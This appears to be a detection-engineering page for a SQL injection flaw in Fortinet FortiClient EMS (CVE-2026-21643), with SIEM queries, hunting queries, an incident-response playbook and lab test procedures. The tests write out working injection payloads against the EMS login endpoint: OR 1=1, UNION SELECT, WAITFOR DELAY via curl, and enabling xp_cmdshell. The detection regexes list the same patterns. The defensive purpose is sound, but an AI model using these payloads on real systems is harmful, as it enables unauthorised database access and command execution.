Detect Fortinet FortiClient EMS SQL Injection Exploitation (CVE-2026-21643) in Sumo Logic CSE
Detects exploitation attempts targeting a SQL injection vulnerability in Fortinet FortiClient EMS (CVE-2026-21643). This KEV-listed vulnerability allows unauthenticated or authenticated attackers to inject malicious SQL statements into FortiClient EMS, potentially enabling data exfiltration, authentication bypass, or remote code execution via database-level commands such as xp_cmdshell.
MITRE ATT&CK
Sumo Detection Query
_sourceCategory=fortinet OR _sourceCategory=forticlient OR _sourceCategory=iis
| where _raw matches /(?i)(union\s+select|xp_cmdshell|waitfor\s+delay|sleep\s*\(|'\s*or\s+|'\s*and\s+|1\s*=\s*1|drop\s+table|exec\s*\()/
| parse regex field=_raw "(?P<src_ip>\b(?:\d{1,3}\.){3}\d{1,3}\b)" nodrop
| parse regex field=_raw "(?P<sql_pattern>(?i)union select|xp_cmdshell|waitfor delay|sleep\(|' OR |1=1)" nodrop
| count by src_ip, sql_pattern, _sourceCategory
| sort by _count desc
| where _count >= 1
| fields src_ip, sql_pattern, _sourceCategory, _countSumo Logic query detecting SQL injection patterns in Fortinet and IIS log sources, extracting attacker IP and specific injection pattern for triage.
Data Sources
Required Tables
False Positives & Tuning
- Vulnerability scanners (Qualys, Tenable, Rapid7) performing automated SQL injection checks
- Penetration testers running SQLMap or Burp Suite against authorized EMS instances
- Log noise from other applications co-hosted that contain SQL fragments in their logs
- Monitoring dashboards querying EMS API with parameters containing SQL-like keywords
Other platforms for CVE-2026-21643
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1FortiClient EMS SQL Injection - Error-Based Detection
Expected signal: IIS log entry with 500 status code and SQL injection characters in cs-uri-query field; MSSQL Event ID 8152 or syntax error in ERRORLOG
- Test 2FortiClient EMS SQL Injection - UNION SELECT Data Extraction Simulation
Expected signal: IIS POST log with UNION SELECT in request body (cs-bytes > 0); MSSQL log showing column mismatch error if column count incorrect
- Test 3FortiClient EMS SQL Injection - xp_cmdshell RCE Simulation (Endpoint Telemetry)
Expected signal: Windows Security Event ID 4688 showing cmd.exe or whoami.exe spawned from sqlservr.exe; MSSQL audit log showing xp_cmdshell execution; CrowdStrike ProcessRollup2 event for cmd.exe with parent sqlservr.exe
- Test 4FortiClient EMS SQL Injection - Time-Based Blind Injection (WAITFOR DELAY)
Expected signal: IIS log showing POST request with 5+ second response time (sc-time-taken > 5000); network connection held open for duration of delay; no error response body
Response Playbook
Triage
- Identify the source IP(s) and determine if the traffic originates from internal networks, known scanning infrastructure, or external threat actors. Cross-reference against threat intelligence feeds for known malicious IPs.
- Review FortiClient EMS web server logs (typically IIS) for the specific SQL injection payloads, capturing the full request URI, headers, and any response codes. Note whether responses indicate successful injection (200 OK with large bodies vs. 500 errors).
- Check the FortiClient EMS SQL Server error logs (MSSQL Event Log, source MSSQLSERVER) for errors such as syntax errors near injection characters, permission errors for xp_cmdshell, or unusual stored procedure execution.
- Determine if the FortiClient EMS version is in the affected range by reviewing the installed version from the Windows Registry or EMS management console. Cross-reference with Fortinet's advisory FG-IR-25-1142.
- Assess whether the exploitation resulted in data access by reviewing EMS database audit logs for unusual SELECT, INSERT, UPDATE, or EXEC statements executed around the time of the detection.
Containment
- Immediately block the source IP(s) at the perimeter firewall and WAF. If a WAF is not in place, deploy a WAF rule specifically blocking the detected SQL injection patterns targeting FortiClient EMS endpoints.
- If exploitation appears successful (e.g., xp_cmdshell evidence, anomalous DB queries), isolate the FortiClient EMS server from the network to prevent lateral movement or data exfiltration, then initiate incident response procedures.
- Revoke all active FortiClient EMS API tokens and user sessions. Force re-authentication for all EMS-connected endpoints to invalidate any sessions established via authentication bypass.
Evidence Collection
- Collect FortiClient EMS IIS logs from the default path (C:\inetpub\logs\LogFiles\) covering at least 72 hours prior to the first alert. Preserve originals with hash verification (SHA-256) before analysis.
- Export MSSQL Server logs and audit trails from SQL Server Management Studio or via PowerShell: `Get-EventLog -LogName Application -Source MSSQLSERVER -Newest 500 | Export-Csv C:\evidence\mssql_events.csv`. Include Error Log from SQL Server's log directory.
- Capture running processes, open network connections, and scheduled tasks from the EMS host: `Get-Process | Export-Csv`, `netstat -anob`, `schtasks /query /fo LIST /v`. Hash all binaries in the EMS installation directory.
- If xp_cmdshell execution is suspected, review Windows Security event logs (Event ID 4688) for process creation events spawned by the SQL Server service account (typically NT SERVICE\MSSQLSERVER).
Escalation Criteria
- !Escalate immediately to incident response if evidence of xp_cmdshell execution is found, new administrative accounts were created, or outbound connections were established to unknown external IPs from the EMS server or SQL Server process.
- !Escalate if the FortiClient EMS database contains sensitive endpoint telemetry, compliance data, or credential material that may have been exfiltrated, requiring breach notification assessment under applicable data protection regulations.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
IIS logs at C:\inetpub\logs\LogFiles\ showing injection payloads in URI or POST body - >
MSSQL error logs at C:\Program Files\Microsoft SQL Server\MSSQL*.MSSQLSERVER\MSSQL\Log\ERRORLOG - >
Windows Security Event ID 4688 for process creation under SQL Server service account - >
Windows Security Event ID 4624/4625 for authentication events against EMS - >
FortiClient EMS application logs at C:\Program Files (x86)\Fortinet\FortiClient EMS\logs\ - >
Network captures showing SQL injection payloads in HTTP request bodies to EMS management interface
Tuning Guidance
Start with high-confidence indicators: xp_cmdshell in any log source, UNION SELECT in EMS web request logs, and MSSQL Event ID 4688 spawning cmd.exe or powershell.exe from the SQL Server service account. Reduce false positives by scoping to known FortiClient EMS hostnames, server IPs, and management interface ports (8013, 8014). Exclude known vulnerability scanner source IPs (Qualys, Tenable, Rapid7 cloud ranges) via allowlist. Consider raising the threshold to 3+ attempts per source IP within 5 minutes to reduce noise from transient scan traffic, while keeping single-attempt alerting for xp_cmdshell signatures which carry near-zero false positive rate.
Hunting Queries
Proactive hunt for SQL injection patterns in IIS logs targeting FortiClient EMS endpoints over the past 7 days, useful for identifying slow/low reconnaissance or failed exploitation attempts preceding a successful attack.
W3CIISLog
| where TimeGenerated > ago(7d)
| where csHost has_any ("ems", "forticlient") or csUriStem has_any ("/EMS/", "/fems/")
| where csUriQuery has_any ("SELECT", "UNION", "xp_cmd", "EXEC", "CAST", "CONVERT") or csUriStem has_any ("SELECT", "UNION", "xp_cmd")
| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, scStatus, scBytes, csUserAgent
| order by TimeGenerated descindex=iis sourcetype=iis (host=*ems* OR host=*forticlient* OR cs_uri_stem=*/EMS/*)
| eval sqli_hit=if(match(cs_uri_query, "(?i)(SELECT|UNION|xp_cmd|EXEC|CAST|CONVERT|SLEEP|WAITFOR)"), 1, 0)
| where sqli_hit=1
| stats count by c_ip, cs_uri_stem, cs_uri_query, sc_status
| sort - countHunt for anomalous MSSQL error events on FortiClient EMS servers that may indicate SQL injection activity, authentication failures against the database, or object-not-found errors from malformed injection payloads.
Event
| where TimeGenerated > ago(7d)
| where Source in ("MSSQLSERVER", "MSSQL$EMS")
| where EventID in (18456, 8152, 208, 1205, 17806)
| where Computer has_any ("EMS", "forticlient", "fems")
| project TimeGenerated, Computer, EventID, RenderedDescription
| order by TimeGenerated descindex=wineventlog sourcetype=wineventlog:application (Source=MSSQLSERVER OR Source=MSSQL$EMS) EventCode IN (18456, 8152, 208, 1205, 17806) (host=*ems* OR host=*forticlient*)
| stats count by host, EventCode, Message
| sort - countAtomic Red Team Tests
Simulates a basic error-based SQL injection probe against the FortiClient EMS management interface to trigger SQL syntax errors visible in MSSQL logs and IIS 500 responses.
Command
# LAB ONLY - Target must be a test/isolated FortiClient EMS instance
# Replace TARGET_EMS_IP with your lab EMS server IP
$target = "https://TARGET_EMS_IP:8013"
$payload = "' OR 1=1--"
$encodedPayload = [System.Web.HttpUtility]::UrlEncode($payload)
Invoke-WebRequest -Uri "$target/fems/login?username=admin$encodedPayload&password=test" -Method GET -SkipCertificateCheck -UseBasicParsing | Select-Object StatusCode, StatusDescriptionCleanup
No cleanup required — read-only probe. Review and clear IIS logs and MSSQL error logs on the lab EMS server post-test.Expected Telemetry
IIS log entry with 500 status code and SQL injection characters in cs-uri-query field; MSSQL Event ID 8152 or syntax error in ERRORLOG
Expected Detection
KQL W3CIISLog query triggers on csUriQuery containing ' OR 1=1; MSSQL Application event with syntax error near apostrophe
Simulates a UNION SELECT-based injection attempt to extract database schema information from FortiClient EMS, representing the reconnaissance phase of exploitation.
Command
# LAB ONLY - Requires isolated FortiClient EMS test environment
# Replace TARGET_EMS_IP with lab EMS server
$target = "https://TARGET_EMS_IP:8013"
$payload = "' UNION SELECT NULL,NULL,NULL,table_name FROM information_schema.tables--"
$encodedPayload = [System.Web.HttpUtility]::UrlEncode($payload)
$headers = @{"Content-Type" = "application/x-www-form-urlencoded"}
$body = "username=admin$encodedPayload&password=test"
Invoke-WebRequest -Uri "$target/fems/login" -Method POST -Body $body -Headers $headers -SkipCertificateCheck -UseBasicParsing | Select-Object StatusCode, ContentCleanup
Clear lab EMS IIS logs and MSSQL error logs. No persistent changes expected from read-only UNION SELECT against information_schema.Expected Telemetry
IIS POST log with UNION SELECT in request body (cs-bytes > 0); MSSQL log showing column mismatch error if column count incorrect
Expected Detection
SPL query matches UNION SELECT pattern in forticlient:ems or iis sourcetype; QRadar AQL matches UNION SELECT in utf8(payload)
Simulates the post-exploitation phase where an attacker uses xp_cmdshell via SQL injection to execute OS commands. This test injects the xp_cmdshell pattern into a controlled MSSQL instance to generate expected telemetry without targeting production EMS.
Command
# LAB ONLY - Run against isolated MSSQL instance, NOT production
# Ensure xp_cmdshell is disabled on production; enable only in lab
SqlCmd -S localhost\SQLEXPRESS -Q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
SqlCmd -S localhost\SQLEXPRESS -Q "EXEC xp_cmdshell 'whoami';"
# Expected: output shows SQL Server service account (e.g., NT SERVICE\MSSQL$SQLEXPRESS)Cleanup
Disable xp_cmdshell after test: SqlCmd -S localhost\SQLEXPRESS -Q "EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; EXEC sp_configure 'show advanced options', 0; RECONFIGURE;"Expected Telemetry
Windows Security Event ID 4688 showing cmd.exe or whoami.exe spawned from sqlservr.exe; MSSQL audit log showing xp_cmdshell execution; CrowdStrike ProcessRollup2 event for cmd.exe with parent sqlservr.exe
Expected Detection
CrowdStrike CQL query matches ProcessRollup2 with ImageFileName containing cmd.exe parented by sqlservr.exe; KQL Event table shows EventID 4688 with CommandLine containing whoami from MSSQL service account
Simulates time-based blind SQL injection using WAITFOR DELAY against FortiClient EMS to confirm injection point without error output, representing stealthy exploitation patterns.
Command
# LAB ONLY - Replace TARGET_EMS_IP with isolated lab EMS instance
TARGET="https://TARGET_EMS_IP:8013"
PAYLOAD="admin' WAITFOR DELAY '0:0:5'--"
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
START=$(date +%s)
curl -sk -X POST "$TARGET/fems/login" \
-d "username=$ENCODED&password=test" \
-H "Content-Type: application/x-www-form-urlencoded" \
-o /dev/null -w "%{http_code} %{time_total}"
END=$(date +%s)
echo "Elapsed: $((END-START)) seconds (expected ~5 if vulnerable)"Cleanup
No persistent changes. Clear IIS access logs on lab EMS server. No MSSQL state change from WAITFOR DELAY.Expected Telemetry
IIS log showing POST request with 5+ second response time (sc-time-taken > 5000); network connection held open for duration of delay; no error response body
Expected Detection
IIS log correlation showing WAITFOR DELAY in POST body with elevated response time; Elastic EQL sequence detecting sustained connection on EMS port